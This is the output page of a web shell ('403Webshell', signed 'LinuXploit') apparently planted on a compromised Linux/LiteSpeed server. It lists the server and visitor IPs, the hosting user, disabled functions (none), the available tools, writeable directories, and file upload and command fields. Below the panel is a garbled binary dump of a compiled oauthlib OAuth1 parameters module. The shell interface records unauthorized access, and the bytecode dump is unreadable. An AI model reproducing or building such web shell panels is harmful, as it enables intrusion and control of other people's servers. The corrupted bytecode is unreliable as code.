403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.129.253.54
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3.6/site-packages/oauthlib/oauth1/rfc5849/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/oauthlib/oauth1/rfc5849/__pycache__/parameters.cpython-36.pyc
3

,�[a�@s�dZddlmZmZddlmZmZddlmZyddl	m	Z	m
Z
Wn$ek
rhddlm	Z	m
Z
YnXej
ddd	��Zd
d�Zdd
�Zdd�ZdS)z�
oauthlib.parameters
~~~~~~~~~~~~~~~~~~~

This module contains methods related to `section 3.5`_ of the OAuth 1.0a spec.

.. _`section 3.5`: https://tools.ietf.org/html/rfc5849#section-3.5
�)�absolute_import�unicode_literals)�extract_params�	urlencode�)�utils)�urlparse�
urlunparseNcCs�|pi}g}x:|D]2\}}tj|�}tj|�}dj||�}|j|�qWdj|�}	|rbd||	}	d|	}
i}|j|�|
|d<|S)a**Prepare the Authorization header.**
    Per `section 3.5.1`_ of the spec.

    Protocol parameters can be transmitted using the HTTP "Authorization"
    header field as defined by `RFC2617`_ with the auth-scheme name set to
    "OAuth" (case insensitive).

    For example::

        Authorization: OAuth realm="Example",
            oauth_consumer_key="0685bd9184jfhq22",
            oauth_token="ad180jjd733klru7",
            oauth_signature_method="HMAC-SHA1",
            oauth_signature="wOJIO9A2W5mFwDgiDvZbTSMK%2FPY%3D",
            oauth_timestamp="137131200",
            oauth_nonce="4572616e48616d6d65724c61686176",
            oauth_version="1.0"


    .. _`section 3.5.1`: https://tools.ietf.org/html/rfc5849#section-3.5.1
    .. _`RFC2617`: https://tools.ietf.org/html/rfc2617
    z	{0}="{1}"z, zrealm="%s", zOAuth %sZ
Authorization)r�escape�format�append�join�update)�oauth_paramsZheadersZrealmZ%authorization_header_parameters_partsZoauth_parameter_name�valueZescaped_nameZ
escaped_value�partZauthorization_header_parametersZauthorization_headerZfull_headers�r� /usr/lib/python3.6/parameters.py�prepare_headerss"


rcCs&t|�}|j|�|jdd�d�|S)a>Append OAuth params to an existing set of parameters.

    Both params and oauth_params is must be lists of 2-tuples.

    Per `section 3.5.2`_ and `3.5.3`_ of the spec.

    .. _`section 3.5.2`: https://tools.ietf.org/html/rfc5849#section-3.5.2
    .. _`3.5.3`: https://tools.ietf.org/html/rfc5849#section-3.5.3

    cSs|djd�S)NrZoauth_)�
startswith)�irrr�<lambda>osz _append_params.<locals>.<lambda>)�key)�list�extend�sort)rZparamsZmergedrrr�_append_params^s
rcCs
t||�S)z�Prepare the Form-Encoded Body.

    Per `section 3.5.2`_ of the spec.

    .. _`section 3.5.2`: https://tools.ietf.org/html/rfc5849#section-3.5.2

    )r)rZbodyrrr�prepare_form_encoded_bodyss	rcCs>t|�\}}}}}}tt|t|�p$g��}t||||||f�S)z�Prepare the Request URI Query.

    Per `section 3.5.3`_ of the spec.

    .. _`section 3.5.3`: https://tools.ietf.org/html/rfc5849#section-3.5.3

    )rrrrr	)rZuriZschZnet�pathZparZqueryZfrarrr�prepare_request_uri_querys	r)NN)�__doc__Z
__future__rrZoauthlib.commonrr�rrr	�ImportErrorZurllib.parseZ
filter_paramsrrrrrrrr�<module>	sE

Youez - 2016 - github.com/yon3zu
LinuXploit